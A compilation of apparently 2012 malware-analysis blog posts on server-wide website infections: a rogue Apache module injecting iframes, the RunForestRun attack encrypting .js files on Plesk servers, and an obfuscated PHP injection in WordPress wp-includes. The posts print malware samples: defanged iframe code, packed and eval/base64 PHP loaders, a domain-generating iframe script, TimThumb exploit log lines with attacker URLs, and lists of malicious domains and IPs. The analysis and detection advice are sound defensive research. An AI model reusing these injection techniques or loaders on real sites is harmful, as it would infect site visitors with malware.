_INJECT_SAVE
GEN_FILENAME_INJECT
_SESSION_SAVE
_CHECK_LOCAL_IP
_SESSION_LOAD
_INJECT_UPDATE
FILENAME_UPDATING
_CHECK_WAITLIST
_INJECT_LOAD
_INJECT_DO
SIZE_ARRAY_TAGS_FOR_INJECT
KEY_XOR
C_MODULE_VERSION
C_CC_HOST
C_CC_URI
C_CC_REQUEST_FORMAT
C_MARKER_LEFT
C_MARKER_RIGHT
C_TMP_DIR
C_LIST_PREF
C_KEY_COOKIE_NAME
C_ARRAY_TAGS_FOR_INJECT
C_ARRAY_BAN_USERAGENT
C_ARRAY_BLACKLIST_URI
C_ARRAY_SE_REFERER
C_ARRAY_SUDOERS
C_ARRAY_BAN_PROC
C_ARRAY_BAN_LOCAL_IP
dlEngine
dl module switcher

As you can see, this module checks cookies, Referrer and User-Agent headers, tries to identify unwanted traffic from search engine bots (_CHECK_BOT_USERAGENT) and site admins (_CHECK_SITE_ADMIN) and server admins (_IS_SUDOER) and blacklists such requests (_ADD_TO_BLACKLIST). Then it checks if the visitor is coming form search engine results (_CHECK_REFERER_IS_SEO, C_ARRAY_SE_REFERER) and injects something (_INJECT_DO) after specific tags (C_ARRAY_TAGS_FOR_INJECT). Moreover, this module works with encrypted content (base64decode, xor_decrypt_string, xor_encrypt_string). You definitely don’t expect to see something like that in a legitimate module named mod_spm_headers.so!

These “strings” helped me find the source code of an older version of the malicious Apache module http://pastebin.com/6wWVsstj. The current version has changed since then but this code helps understand how this module works.

1. It’s a typical “filter” Apache module that works in the middle of Apache pipeline: it gets generated response, modifies it if needed and passes it further to Apache.
2. Most constants are encrypted using XOR. Although it’s a very simple encryption algorithm, it helps to hide constant values (URLs, filenames, etc. ) from people trying to extract meaningful strings from compiled .so files.
3. The module used (in that old version) quite complex rules for injections:
   1. Requests should not come from IP addresses of search engines and security companies
   2. User-Agent should not contain strings specific to search engines’ bots, automated tools (e.g. Curl, Indy Library) and browsers that the attackers are not interested in (Opera Mini, browsers on Macs, iPhones, PlayStations).
   3. Requests should not come from blacklisted and temporary “suspended” IPs (see below).
   4. If request looks “good” and it has a search engine as a Referrer (search traffic), then the module creates a 5 minutes‘ session for that IP address. Then if the requested page includes some .js files from the same domain or if that user clicks on some site level links within those 5 minutes then the loaded .js files or the next site page (counted as a second hit during the session) will contain injected malicious code. And after that the attacked IP is “suspended” for the next 7 days. — Quite complex, isn’t it? No wonder, it was hard to detect. However, the infection rate was probably suboptimal either and the current version of the malicious module uses less complex rules.
4. The module only works with responses that have the following types: “text/html“, “javascript“, “text/js” (web pages and JavaScript files).
   1. In web pages, it searches for the first of the following tags: </script>, </style>, </head>, </title>, </body>, </html> and injects the malicious code right after it.
   2. In JavaScript files, it injects the malicious code as a document.write(<malicious HTML code>) call.
5. The malicious code is cached in a file (see below) and is getting updated from a remote server every 10 minutes. It is not necessary that it receives completely new code every 10 minutes (in practice it changes about once every hour) but potentially it can change that often.

Blacklists

The module checks the /var/run/utmp file to see if the current visitor IP is the same as one of the IPs of users currently logged into this server. Such users are most likely site webmasters or server admins. They should not be aware of the infection so their IPs are getting blacklisted.

The same happens to users who open web pages that contain the word “admin” in their URLs. Hackers assume that such users are most likely site admins or site owners who should also not know about the security issue. Their IPs are also permanently blacklisted.

For other visitors, the module can work in two modes:

• in DO_BAN_SITEKERNEL, every visitor that comes to site directly (without an external referrer) gets blacklisted
• in DO_EXPLOIT_ONLY_SEO, every visitor who doesn’t come from search engines gets blacklisted

Maintenance files

/var/tmp/sess_<md5(visitorIP)> — blacklist file for a specific visitor (empty. Visitor is blacklisted if this file exists)

/var/tmp/sess_<md5(md5(visitorIP))> — session file for a specific visitor (contains session information: timestamp, referrers, session key and visit number)

/var/tmp/sess_<md5(md5(md5(visitorIP)))> — temporary “ban” file for a specific visitor (contains the time when the visitor was “suspended” – expires in 7 days)

/var/tmp/sess_<md5(“cache”)> (/var/tmp/sess_0fea6a13c52b4d4725368f24b045ca84 ?) — cache file. It contains a timestamp (required to figure out whether the current malicious code is expired – 10 minutes) and the current malicious code (xor-encrypted).

New information required

This information is mainly based on the analysis of the source code of that one year old version of the malicious Apache module. Most of it is still true but some things have definitely changed. For example, server admins who sent me the malicious .so files could find session and cache files in the /var/tmp directory. I can also see some change in the injection algorithm. And the .so files contain some new strings literals. It is also not clear what is that remote URL where the malware gets new iframe codes from.

If you know how to decompile Linux .so files (ELF) you can contact me and I’ll send you the files I have.

Spreading of the attack

During my investigation I found quite a few forum posts and articles about the malicious Apache modules. Some of them are a couple of years old and some are quite new.

Here are just some of them:

• Extending Apache to Serve Malware by Symantec
• Interworx Support Desk Database Compromised
• Google search ["mod_log.so" malicious] for more…

Such attacks remain latent because of the complexity of detection. I rarely come across such things myself. However this summer I got more that usually requests from webmasters of sites on infected servers. This may be a sign of an increased activity of this attack. I wonder how many servers are currently infected.

Mysterious infection vector

While this hack is not new, I couldn’t find reliable information about how hackers break into servers and get root access (the malicious modules are owned by root and httpd.conf files can only be modified by root).

At this point I can say that it doesn’t look like a security issue of some control panel. The two infected sites I worked with had different control panels: Virtualmin and cPanel.

The malicious module doesn’t come from Linux repositories.

So someone somehow breaks into servers with root permissions, which is quite alarming.

One of the servers had only one user (dedicated server), used strong passwords, didn’t allow remote root logins, used custom ports and fail2ban to prevent brute-force attack. Nonetheless it was hacked within one month and its administrator couldn’t find sings of the intrusion in logs files, only legitimate logins (of course, with root access, it is possible to remove most traces).

To server administrators

If you use Apache 2.x on your server, I recommend that you check if all Apache modules on your server are legitimate.

The following commands is a good start:

cd <Apache Module Dir>
ls *.so | xargs strings | grep "module switcher"
or
ls *.so | xargs strings | grep dlEngine

You should also check all modules loaded in httpd.conf and its include files.

##
Do you have anything to add? Your thoughts and comments are welcome! I’m particularly interested in how hackers gain root access on those servers and where the rogue modules download the updated malicious code from.

Related posts:

• RFI: Server-wide iframe injections
• Beladen – Elusive Web Server Exploit. (information for site owners and hosting providers)
• Goscanpark: 13 Facts About Malicious Server-Wide Meta Redirects.
• Introduction to Website Parasites

This summer I come across some clearly infected servers where I can’t figure out how exactly the hack works and what should be done to clean them up and to protect other servers from similar hacks. So I decided to share my information about the issue and hope someone could shed some light on it.

1. The malicious code typically looks like this (this is what I see today, August 13, 2012):

<style>.vn5u66dxa { position:absolute; left:-1023px; top:-1209px} </style> <div class="vn5u66dxa"><if rame src="hxxp://insitudrill .com/46814443.html" width="199" height="288"></ifra me></div>

About a month ago the iframe URLs looked slightly different:

<style>.um6x1zsq { position:absolute; left:-1241px; top:-1283px} </style> <div><ifr ame src="hxxp://megaworlsnetscapes .info/?a=YWZmaWQ9MDUyODg=" width="120" height="300"></ifram e></div>

The code changes on every page load. The parts in bold would randomly change.

2. This code is being injected into random (or not so random) places in the <head> section of the HTML code.

3. It is being injected into both PHP pages and into static plain HTML pages.

4. We should be actually talking about infected server responses since the malicious code cannot be found in any website files.

5. It is pretty hard to detect this infection since only random server responses are affected. There should be some internal conditions though (that I couldn’t figure out yet) since Unmask Parasites has quite hight detection rate (still not always) while other tools (e.g. wget or online HTTP tools) rarely trigger this malware for the same requests. I couldn’t reproduce the malicious responses in real browsers at all.

6. At the same time Google’s malware scanners do detect those iframes. However their detection rate is not perfect either. Google unblocks sites where I can still see those malicious iframes.

7. This hack typically affects all sites on the same server. However it’s hard to tell for sure because of its intermittent nature and less than perfect detection rate.

8. This hack (in my experience) affects servers powered by Apache.

9. If you check Apache logs, you can recognize tempered responses since their sizes are slightly bigger than typical response sizes for the same pages.

10. Domains in iframe URLs also change every day or so. However I couldn’t detect the event that triggers the change.

11. Here’s a a list (incomplete) of domains associated with this attack.

• judochatoutsiderugs .info
• electroniccastingbankingetc .info
• insitudrill .com
• megaworlsnetscapes .info
• megaworlsnetscapes .net
• mig-generatio-nla-bss .info
• mikao-usui-reikimaster-annet .nl
• fuellttropasen .net
• inwocementworld .net
• blondbindsfeeds .org
• mainsbigwoeld .net
• jurymerlin .info
• worldorgsrooms .net
• worldorgsrooms .com
• lawpeter .info
• linesphones .info
• signaccelerated .org
• qmg2 .com
• dorcel3d .fr

12. Some information about what those iframes do. Currently they redirect to hxxp://multiplechoicetaping .org/feed/xml.php?uid=45

I checked the final landing pages some time ago and found various browser exploits there. For example this: VirusTotal 9/42.

And by the way, “YWZmaWQ9MDUyODg=” part of the URL decodes to “affid=05288” — criminals like affiliate marketing.

Your ideas are welcome

Given all the information I know, I can only think of the hack that involves hijacking Apache process. It could be either “patched” Apache or some of its modules or some malicious process that intercepts generated web page code and injects iframes there.

A few year ago I reviewed two server-wide attacks that managed to hijack Apache: GoScanPark and Beladen. This time the symptoms are not exactly the same, but during the last three years this attack might have evolved. Or it could be something completely different.

As far as I can tell, quite a few servers around the world are infected and I hope that some server admins have already figured out how hackers managed to infect their servers and what should be done to efficiently detect the hack and clean up web servers.

Please share whatever information/thoughts/ideas you have. It may make difference and help harden and clean up many infected and potentially vulnerable servers. Thank you!

Update (August 15, 2012): Sucuri follows up on this post with more involved iframe URLs and some speculations on the attack vector (they think about a “mix of attacks”). Still no information about how it works and what exactly is infected.

Update (September 10, 2012): I have new information about this attack. It turns out the servers are compromised at the root level and hackers managed to install malicious Apache modules.

To webmasters

If Google reports similar iframes on your site (you can usually see the code in Webmaster Tools -> Health -> Malware) then most likely this is something that only your hosting provider can take care of. Let them know about the problem and show this article. If you don’t see much help from your hosting provider you might want to move your site to a different server.

Related posts:

• Malicious Apache Module Injects Iframes
• Beladen – Elusive Web Server Exploit. (information for site owners and hosting providers)
• Goscanpark: 13 Facts About Malicious Server-Wide Meta Redirects.
• Introduction to Website Parasites

I decided to take a look at the new scripts and found quite a few very interesting changes. This post will be about those changes.

RunForestRun recap

Just a quick recap of the RunForestRun attack: It began in mid-June and infected many servers with Plesk Panel since then. Hackers used Plesk’s File Manager to inject malicious code (mainly) at the bottom of .js files. That malicious code used a Black Hole obfuscator and was always surrounded by the /*km0ae9gr6m*/…/*qhk6sa6g1c*/ pair of comments, which made it very easy to clean up whole servers using just a single regexp.

Another interesting feature of the original RunForestRun attack was the domain name generating algorithm built into its malicious scripts. It generated two new unreadable .ru domains every day and used them for iframe injection. Although the algorithm called itself “pseudo-random“, it actually lacked any randomness at all, thus all the domain names it could ever generate (today, tomorrow, next month, in a hundred years, etc.) were easily predicted.

New version of RunForestRun scripts

However everything changes and now we can see a significantly improved version of the RunForestRun attack – they definitely learn from they own mistakes.

Infected and encrypted .js files

As previously, the attack targets .js files on Plesk-pоwered servers. However, instead of appending legitimate files with an easily identifiable line of the malicious code, this time they replace the whole content of the legitimate .js files.

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String...REMOVED...QEE|Sktl|8QaUx|MU|EbD|Rb|kpVHmU|0xUQ0|NAWHo|typeof|_typeof_|undefined|else|sgVxTrfNlm'.split('|'),0,{}))

As you can see, the comment signature is gone and the legitimate code is no longer there. Moreover, the code is different in every infected .js file even on the same site. This means that server admins:

• can’t easily identify infected files — there’s no signature
• can’t use a simple regexp to find and remove the malicious code from all infected files — the code is varies from file to file and the only common part is the packer code used by many legitimate .js libraries, e.g. jQuery)
• can’t simply remove the malicious code — it will remove the legitimate code too and break websites.

The code (full example) is packed with a popular (both among legitimate JS programmers and malware writers) Dean Edwards’ Javascript Packer. It’s very easy to decode but it’s only the first layer. The second layer is more interesting (see the full code here):

Site-dependent JS encryption

It contains two long encrypted strings. The code decrypts and executes them. Apparently the first string is the encrypted legitimate content of the infected .js file (that’s why even with replaced content of .js files hacked websites still work) and the second string is the encrypted copy of the malicious code.

To make things more interesting, both strings are encrypted using the domain name of the hacked site as an encryption key. This means that if you only have a copy of the malicious code but don’t know the domain name of the site it was found on, then you won’t be able to (easily) decode it.

this.LdgeJzxGT = function() {
return this["TpPoqfTGS"](this.getTopHost(window["location"]["host"]), this.PPZyLUke(this.NfScKqzGUKfkt))
};

That also answers why every infected .js file has different malicious code in it. The final code depends on the combination of two factors: site domain name and content of the .js file — apparently this combination is unique (unless someone has two identical .js files on the same site — why?)

By the way, the encryption code is still buggy as I saw sites where the legitimate code won’t decrypt.

Updated domain generating algorithm

Now let’s take a look at the decoded malicious part of the script (full version here). It’s basically the same code that generates domain names and injects iframes as we saw in the original RunForestRun attack. However there are a few significant changes:

1. At the very top of the code we can see the following two comment lines:

//Congratulations! you have successfully extracted the gootkit payload
//this means i must work hardly :(

The malware author left a message to us. Apparently he has sense of humor and desire to improve the script obfuscation techniques. Well, this new version is much more interesting to decode. I liked the “domain name as an encryption key” trick, I didn’t see it before. Nonetheless for tools that use JavaScript engines and can decode all script directly on infected sites the same way that web browsers do, this new layer of obfuscation is hardly noticeable.

2. Instead of .ru domains, this new algorithm generates subdomains on waw.pl. This version also uses the botnet_api sid parameter.

var domainName = generatePseudoRandomString(unix, 16, 'waw.pl');
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet_api");

3. And the most important change is the DGA now generates really random domain names.

for (var i = 0; i < subdomainlen; i++) {
str += letters[Math.floor(Math.random() * (letters.length - 1))];
}
str += '.'
for (var i = 0; i < length; i++) {
str += letters[createRandomNumber(rand, 0, letters.length - 1)];
}

The generated URLs look like this:
hxxp://vvsadnfpurghr .wnozimymvmaxkszo .waw .pl/runforestrun?sid=botnet_api
hxxp://dpolzxzkrrfvk .erzeyvxfqerffrql .waw .pl/runforestrun?sid=botnet_api.

They are really random and change on every script execution.

Still easily predictable

So how the attackers know what domains to registers so that the injected iframes really load some malicious payload from their servers? The answer is the generated domain names are not completely random. As you might notice, they actually consist of two parts: the third-level domain name and the forth-level domain name (e.g. nzseokfggewrwplmuph.hvguqfmfqgerbdro .waw .pl). The forth-level domain name (in this example nzseokfggewrwplmuph) is really random and can’t be predicted. But the third-level domain name (in this example hvguqfmfqgerbdro) is not random at all and thus can be as easily predicted the same way as domain names in the previous versions of RunForestRun DGA.

This “predictable third-level domain name plus any random fourth-level domain name” scheme works because of the DNS settings that map all forth-level domains to the same server as the third-level domain name. By the way, right now this attack uses the 78 .46 .11 .101 server (Hetzner Online Ag, Germany).

This scheme allows us to predict the third-level domains only and ignore any forth-level domains. For this algorithm, the significant domain names change 5 times a day. At this point I can see that domain names for the period of July 21, 2012 through August 5, 2012 are already registered via the Domain Silver Inc. (registered in the Seychelles, with the .pl support email) And by the way, waw.pl subdomains are not free to register — this adds some barrier to preregistering the predicted domain names.

Here is a list of the domains that are already registered. A more long list of the predicted domains can be found here (I know, they’ll eventually change the algo.)

*.qxpmhnrvrkqewurq.waw.pl // Sat Jul 21 2012 00:00:00
*.keefqnfsgqxrzlru.waw.pl // Sat Jul 21 2012 01:00:00
*.ekkugeunekaxqolz.waw.pl // Sat Jul 21 2012 07:00:00
*.svndeqsqughepaye.waw.pl // Sat Jul 21 2012 13:00:00
*.aksfkuuozvfqprms.waw.pl // Sat Jul 21 2012 19:00:00
*.zpqkervzziqffvas.waw.pl // Sun Jul 22 2012 00:00:00
*.uiuxumxroflzpfxr.waw.pl // Sun Jul 22 2012 01:00:00
*.godzexppowqkaoqg.waw.pl // Sun Jul 22 2012 07:00:00
*.hhrkeezqezsfpelh.waw.pl // Sun Jul 22 2012 13:00:00
*.oqvlfqreqpqofbkk.waw.pl // Sun Jul 22 2012 19:00:00
*.alipqiuzrguwesky.waw.pl // Mon Jul 23 2012 00:00:00
*.rfvnhrxyqrkfkafm.waw.pl // Mon Jul 23 2012 01:00:00
*.fvqrumayxausssro.waw.pl // Mon Jul 23 2012 07:00:00
*.zppiehqhzpovbkyq.waw.pl // Mon Jul 23 2012 13:00:00
*.xwusrevemsezfoqu.waw.pl // Mon Jul 23 2012 19:00:00
*.pzdhexgqhgrpwifw.waw.pl // Tue Jul 24 2012 00:00:00
*.erzeyvxfqerffrql.waw.pl // Tue Jul 24 2012 01:00:00
*.mzqqewpgyfeprbko.waw.pl // Tue Jul 24 2012 07:00:00
*.vpbuillzsunrkgmf.waw.pl // Tue Jul 24 2012 13:00:00
*.fmfqplgsqwrlhynp.waw.pl // Tue Jul 24 2012 19:00:00
*.pqzsevnefqzofzzu.waw.pl // Wed Jul 25 2012 00:00:00
*.ozpxhkavazfqfrhr.waw.pl // Wed Jul 25 2012 01:00:00
*.wnozimymvmaxkszo.waw.pl // Wed Jul 25 2012 07:00:00
*.ylivlvzmqsqksexk.waw.pl // Wed Jul 25 2012 13:00:00
*.sqqkemzgshwnkkrk.waw.pl // Wed Jul 25 2012 19:00:00
*.ahqqeqepkuzqqogq.waw.pl // Thu Jul 26 2012 00:00:00
*.oeaivqoeffszmazv.waw.pl // Thu Jul 26 2012 01:00:00
*.rnxqzzvvfvefzuef.waw.pl // Thu Jul 26 2012 07:00:00
*.hvguqfmfqgerbdro.waw.pl // Thu Jul 26 2012 13:00:00
*.efzsxqendefszqwv.waw.pl // Thu Jul 26 2012 19:00:00
*.ospferibuoqexlrq.waw.pl // Fri Jul 27 2012 00:00:00
*.uoqyiwgfhwalhsrf.waw.pl // Fri Jul 27 2012 01:00:00
*.eggqeufupvpffbku.waw.pl // Fri Jul 27 2012 07:00:00
*.gpzzurpvvqevszuv.waw.pl // Fri Jul 27 2012 13:00:00
*.nirqnuaqaneqszrf.waw.pl // Fri Jul 27 2012 19:00:00
*.xkmrvsfqohzoqoux.waw.pl // Sat Jul 28 2012 00:00:00
*.vbgkesevmqqaypeo.waw.pl // Sat Jul 28 2012 01:00:00
*.fekknfieornfndye.waw.pl // Sat Jul 28 2012 07:00:00
*.fyllfpuqesfponzo.waw.pl // Sat Jul 28 2012 13:00:00
*.suarglxquxbrvxor.waw.pl // Sat Jul 28 2012 19:00:00
*.rsmwnxvfaqxxqehg.waw.pl // Sun Jul 29 2012 00:00:00
*.lusseoiqfrxlzuoy.waw.pl // Sun Jul 29 2012 01:00:00
*.xhofnxueyreenhpk.waw.pl // Sun Jul 29 2012 07:00:00
*.qqphrhvzgrrylhro.waw.pl // Sun Jul 29 2012 13:00:00
*.drqlgnkfobrsgmmz.waw.pl // Sun Jul 29 2012 19:00:00
*.svkpeszmgaofdqqu.waw.pl // Mon Jul 30 2012 00:00:00
*.qvlueezqezvskfnq.waw.pl // Mon Jul 30 2012 01:00:00
*.uyveaqhufkeiqmsn.waw.pl // Mon Jul 30 2012 07:00:00
*.mazszkkqfhfqegva.waw.pl // Mon Jul 30 2012 13:00:00
*.qrkrqzsvzulbxhka.waw.pl // Mon Jul 30 2012 19:00:00
*.eorazzorfyrzbuge.waw.pl // Tue Jul 31 2012 00:00:00
*.qrakxlhymofsynvy.waw.pl // Tue Jul 31 2012 01:00:00
*.bqeqrlhkuqngrrps.waw.pl // Tue Jul 31 2012 07:00:00
*.qrmfekadorhpflqv.waw.pl // Tue Jul 31 2012 13:00:00
*.kqyeqozzfmkymirf.waw.pl // Tue Jul 31 2012 19:00:00
*.gherznlxvquzzpeu.waw.pl // Wed Aug 01 2012 00:00:00
*.hhkvnxqfmoeapkbp.waw.pl // Wed Aug 01 2012 01:00:00
*.oqnuvrfqqakovrfl.waw.pl // Wed Aug 01 2012 07:00:00
*.ueskvqmzogzfrsqe.waw.pl // Wed Aug 01 2012 13:00:00
*.enoxhrnvodxmhxyy.waw.pl // Wed Aug 01 2012 19:00:00
*.fprpsvfmzyrffogi.waw.pl // Thu Aug 02 2012 00:00:00
*.zwkeqrlypenxpsqe.waw.pl // Thu Aug 02 2012 01:00:00
*.xsksvonlfapekhbn.waw.pl // Thu Aug 02 2012 07:00:00
*.vzyhrrsrhukewmek.waw.pl // Thu Aug 02 2012 13:00:00
*.fhxlpzqkhqrsrkir.waw.pl // Thu Aug 02 2012 19:00:00
*.mpqvrgffxxqhrzod.waw.pl // Fri Aug 03 2012 00:00:00
*.vqquhooovmygrevg.waw.pl // Fri Aug 03 2012 01:00:00
*.rrpfohgpheelfzwh.waw.pl // Fri Aug 03 2012 07:00:00
*.lqurmseafhehsvnx.waw.pl // Fri Aug 03 2012 13:00:00
*.xeeenpgoglhfrqks.waw.pl // Fri Aug 03 2012 19:00:00
*.wlheaaxefhoqqmpk.waw.pl // Sat Aug 04 2012 00:00:00
*.dqxloavroqrqlrny.waw.pl // Sat Aug 04 2012 01:00:00
*.ssvgmyklgkfaqnfr.waw.pl // Sat Aug 04 2012 07:00:00
*.qorauruzaalvsvvr.waw.pl // Sat Aug 04 2012 13:00:00
*.uedhuenyfxgrfbue.waw.pl // Sat Aug 04 2012 19:00:00
*.mvrsfxykiekoqysm.waw.pl // Sun Aug 05 2012 00:00:00
*.hfoeozvdlvzkkqip.waw.pl // Sun Aug 05 2012 01:00:00

Roundup

This new version of the RunForestRun attack:

• Still infects sites on Plesk-powered servers
• Instead of simply adding easily detectable and removable line of code into legitimate .js files it now encrypts whole .js files adding some malicious extra to them, which makes it troublesome to automatically find infected files and clean them up. If you don’t have a backup, recovering legitimate .js files will be a problem too.
• Encrypted code is unique in every infected .js file. The domain name of the hacked site is used as an encryption key.
• The DGA now generates really random domain names, but the random part can be easily ignored. And the really significant part of the domain names is still easily predictable.

Unlike most of the rest massive website infections where hackers use more or less the same tricks for quite a long time (exploitation kits unify a lot of stuff), the RunForestRun guys are trying to invent something new. And although their solutions are not always efficient, I can see how they learn on their own mistakes and improve their code with every iteration. I wish they worked on something more constructive though.

To Webmasters

1. Make sure you have a backup of your site. You have a backup, don’t you? You’ll need it to recover your .js files.
2. Make sure there in nothing suspicious is added to your site.
3. Important: Change all site passwords: FTP, Control Panel, etc. Don’t revert your old passwords if you hosting provider resets them.
4. Very important: Contact you hosting provider and show them this article and the article about the original RunForestRun attack. The attack uses server level security issues of the Plesk Panel and only your hosting provider can really stop reinfections.

Questions to readers

1. Can you confirm that this new waw.pl malicious code only affects .js files? If you see it in other types of files, does it encrypt legitimate content there too?
2. To encrypt legitimate files, the attackers need to download them first. Do you see those download requests in access or Plesk logs? Just curious. Do they use multiple IPs for such requests?
3. Did you come across websites infected with this version of the malicious code on servers that applied all the Plesk security patches and changed all passwords before July 20, 2012?

##
Your comments are much appreciated!

Similar posts:

• Runforestrun and Pseudo Random Domains
• Millions of Website Passwords Stored in Plain Text in Plesk Panel
• Lorem Ipsum and Twitter Trends in Malware
• Introduction to Website Parasites

It was a massive infection and many webmasters asked me to help them clean up their sites. I told them how to search for various pattern of malicious files and asked them to provide me with access logs and samples of the malicious code they found on their servers.

At first the hack looked quite mysterious:

• Webmasters sent me many backdoor files but none of them contained the malicious code I saw in infected web pages.
• In theme files, the <head> section didn’t contain any malicious code at all.
• While access logs showed some successful TimThumb attacks, I didn’t see requests to backdoors that updated the malicious code injected into the <head> section (and that code somehow changed every day).
• And the script injection was quite hard to track since it would usually disappear after the first check. You couldn’t tell whether webmasters really cleaned their sites up or the malware was simply hiding from you.

The mystery was solved when I got access to one of the infected sites.

Short description

1. Hackers inject an encrypted malicious PHP code into random files under wp-includes (internally, they should be included on every WP load).
2. This code adds a new hook function to the “wp-head” action.
3. This new wp-head hook function called “check_wp_head_load” is also a part of the encrypted code. It downloads a new sample of the malicious JavaScript and injects it into the <head> section of WordPress pages.
4. To make the code injection hard to detect, the PHP code also keeps track of visitor IPs and only injects malicious JavaScript for first-time visitors.

Detailed description

The implementation of this attack is quite interesting so I provide this detailed description. It may help webmasters properly clean up and protect their sites. Security researcher and system administrators will also find information on how to detect this issue.

1. Penetration.

On the sites sites that I worked with, I found unpatched old version of TimThumb library. Access logs also showed that someone used this security hole:

95.128.204.x - - [01/May/2012:23:31:33 +0200] "GET //wp-content/themes/LondonLive/thumb.php?src=hxxp://picasa.com.kereny.ro/go.php HTTP/1.1" 200 415 example.com "-" "Mozilla/4.8 [en] (Windows NT 5.0; U)" "-"
95.128.204.x - - [02/May/2012:21:57:13 +0200] "GET //wp-content/themes/LondonLive/thumb.php?src=hxxp://picasa.com.kereny.ro/go.php HTTP/1.1" 200 415 example.com "-" "Mozilla/4.8 [en] (Windows NT 5.0; U)" "-"

Nonetheless, on one site I found a directory with maintenance files (see more about them below) that suggest that this particular malware (earlier, less sophisticated version though) existed on the server back in November 2011. So it’s really hard to say, what security hole had been exploited back then — maybe the same TimThumb vulnerability.

On the other hand, on one compromised server, I discovered a new version of the doorways that target Google image search that I described a year ago. That Google image search poisoning attack uses the same type of PHP code encryption and a similar approach to maintenance files. I’m almost sure that the same people are behind these two attacks, and as far as I remember, the image poisoning attack used (at least a year ago) stolen FTP passwords.

2. wp-includes

Once a backdoor is uploaded to a server, it can be used to infect legitimate files. This particular attack aims .php files in the wp-includes directory. At the very top (or very bottom) of some files you can find a long line of an encrypted PHP code that usually looks like this (there are no two files with exactly the same malicious code but you can recognize the following three types of script structures):

<?php $fyw_jmzlq = array("eNqtWgl32siy/iuMT05sXjyOWg","ugccjFjsHGsWDAgIGZHA4I2SzC","cFjCku...removed.../04U8HHmkbE78MhDn","9VASffpah4/LLvGfj/8PWGX41A","==");eval("\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E...removed...\x29\x29\x29\x29\x3B");?>

or

<?php $ufvaenay = array('rVoJd9rIsv4rjE9ObF4','8jloLoHHIxY7BxrFgwI','CBmRwOCNkswnBYwpLkv',...removed...+v9OFPB','x5pGxO/DIQ5/VQEn36W','oePyy7xn4//Dw==');$lnrtfv_ql = strrev('edoced_46esab');$egdzk = strrev('etalfnizg');eval($egdzk($lnrtfv_ql(implode('',$ufvaenay)))); ?>

or

<?php $hbfmzszbt = "e/*./"; preg_replace(strrev($hbfmzszbt),"\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'rVoJd9rIsv4rjE9...removed.../8H'\x29\x29\x29\x3B",".");?>

The decoded version of these scripts can be found here: http://pastebin.com/ghSXKJmM

The point of using files in wp-includes is most of them are used by WordPress to generate every web page so the code is guaranteed to be executed. Moreover, there are much more files in this directory than in the root directory so it is more difficult to spot unauthorized changes if you manually look through the files.

In each infected site, there are usually 2-4 infected files under wp-includes. Here are the names of the most frequently infected files (based on the analysis of 50 infected blogs): author-template.php, bookmark-template.php, bookmark.php, capabilities.php, category-template.php, category.php, class-wp-ajax-response.php, class-wp-walker.php, comment-template.php, comment.php, cron.php, default-filters.php, deprecated.php, feed.php, formatting.php, general-template.php, kses.php, l10n.php, link-template.php, meta.php, plugin.php, pomo/mo.php, post-template.php, post.php, query.php, rewrite.php, script-loader.php, theme.php, user.php.

3. wp-head

To inject a script in the <head> section of web pages, the malicious code registers a new hook for the wp-head action.

@add_action("wp_head", "check_wp_head_load", mt_rand(1, 6));

This means that the output of the “check_wp_head_load” function (also defined in the encrypted malicious code) will be used by WordPress to dynamically generate the <head> section of web pages. Moreover, the mt_rand(1, 6) part of the code tells to add the action with a random priority, so depending on the plugins and themes used by a particular blog, the position of the injected content may change with every page load.

Another random factor is the number of spaces before the injected script. It can be between 300 and 1,000

echo “\n” .str_repeat(” “, mt_rand(300, 1000)) .”<script type=’text/javascript’>$decodedPayload</script>\n”;

The spaces make the script not visible without horizontal scrolling when you view HTML code of infected web pages. And the varying length of the whitespace is probably intended to make it harder to write universal detection rules for malware scanners.

To minimize detection rate, the malicious script is being injected into web pages only for first time visitors (IP address) whose browsers don’t have the “lonly” cookie (sign that a user had been attacked before) and who don’t look like bots of search engines and security scanners (IP ranges).

4. Maintenance files

What really makes detection of this attack more difficult is it’s ability to track visitors. Malware will be served only once a day for any unique IP-address. This holds true for all infected sites on the same server (even if they belong to different accounts). E.g. if you open one hacked site, you won’t be able to see the malicious script on the rest infected sites on that server unless you change your IP address.

This IP tracking is implemented using maintenance files in the server’s global temporary directory (usually /tmp).

In the temporary directory, the malicious script creates the “.tmp/” subdirectory with two files: yymmdd and tmp_yymmdd (where yymmdd is current date, e.g. on June 18, 2012 they would be 120618 and tmp_120618)

The yymmdd files contain IP addresses of users that has been attacked on that date. The file has 0777 permissions and all server accounts can both read it and update it.

The shared temp directory along with 0777 permissions allow to reuse the same maintenance files for all infected sites on the same server, even if they belong to different users and server accounts. Just a few days ago I saw new IPs being appended to the yymmdd file after I removed all malicious scripts from one account on a shared server. And on the next day the new yymmdd was created by a different user (whose account was still infected).

The tmp_yymmdd file contains a base64-encoded version of the malicious JavaScript that will be inject into WordPress pages.

A quick trick for hosting providers. This command can reveal whether some account on your server is infected and which account is infected

ls -l /tmp/.tmp/
-rwxrwxrwx 1 user1 1110 1170 Jun 19 04:23 120619
-rwxrwxrwx 1 user1 1110 2396 Jun 18 18:01 tmp_120619

The malicious script is programmed to delete maintenance files three time a day at 00:00, 12:00, and 18:00. Of course this only happens if someone opens infected web pages exactly at 00:00, 12:00, and 18:00, otherwise the script tries to delete all old files and create new ones if they don’t exist. So the list of visitors’ IPs is reset 1-3 times a day. The malicious script can also change this often.

5. Malicious script updates

The malicious JavaScripts served by infected blogs change every day but hackers don’t need to update them on every individual site. Instead they only update them on their central server — the rest is done by the code in the infected “wp-includes” files that automatically downloads a new version of the script (base64-encoded) every time it can’t find the .tmp/tmp_yymmdd file in the temporary directory (at least once a day when date changes). Actually, at every given moment, the central server has two slightly different copies of the bad script that load malware from two different URLs. Infected servers randomly pull one of them.

The remote server that stores original copies of the malware is 178.162.129.170 (Leaseweb – no surprise here). It has 5 associated domain names that scripts use to generate download URLs: net00net .net, net11net.net, net22net.net, net33net.net, net44net.net – all registered on May 20, 2012.

The download URL has the following format:

hxxp://net33net .net/net/?u=” . base64_encode(“http://” .$host .$request_uri)

As you can see, it is possible to suspend this attack if authorities shut down or sink-hole these net[0-4]{2}net.net domains. Meanwhile, security companies can use the above URLs to promptly add new versions of malicious scripts and new malicious domains to their databases.

